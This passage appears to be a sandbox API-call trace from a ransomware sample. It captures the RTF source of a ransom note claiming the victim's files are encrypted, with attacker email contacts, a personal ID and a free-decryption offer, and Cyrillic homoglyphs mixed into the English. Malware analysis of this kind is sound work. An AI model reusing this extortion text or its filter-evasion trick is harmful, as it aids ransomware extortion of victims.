pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 